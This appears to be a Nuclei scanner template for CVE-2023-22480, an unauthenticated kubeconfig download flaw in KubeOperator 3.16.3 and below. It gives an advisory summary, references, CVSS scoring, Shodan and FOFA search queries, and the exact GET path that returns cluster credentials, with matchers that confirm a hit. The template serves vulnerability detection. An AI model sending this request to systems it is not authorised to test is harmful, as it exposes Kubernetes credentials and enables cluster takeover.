id: CVE-2023-22480 info: name: KubeOperator Foreground `kubeconfig` - File Download author: DhiyaneshDk severity: critical description: | KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/KubeOperator/KubeOperator/security/advisories/GHSA-jxgp-jgh3-8jc8 - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubeOperator/KubeOperator%20kubeconfig%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%20CVE-2023-22480.md?plain=1 - https://nvd.nist.gov/vuln/detail/CVE-2023-22480 - https://github.com/KubeOperator/KubeOperator/commit/7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf - https://github.com/KubeOperator/KubeOperator/releases/tag/v3.16.4 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-22480 cwe-id: CWE-285,CWE-863 epss-score: 0.02114 epss-percentile: 0.87912 cpe: cpe:2.3:a:fit2cloud:kubeoperator:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: fit2cloud product: kubeoperator shodan-query: html:"KubeOperator" fofa-query: app="KubeOperator" tags: cve,cve2023,kubeoperator,k8s,kubeconfig,exposure http: - method: GET path: - "{{BaseURL}}/api/v1/clusters/kubeconfig/k8s" matchers-condition: and matchers: - type: word part: body words: - "apiVersion:" - "clusters:" condition: and - type: word part: header words: - "application/download" - type: status status: - 200 # digest: 4a0a00473045022100cba575a730e028acfa2af94db5a7f5daca36d830c674619568d4227f71ba00a90220222a998bba3c6e86cba781a1f02d0b0267161b1259f8105881aa3804cf3a25fd:922c64590222798bb761d5b6d8e72950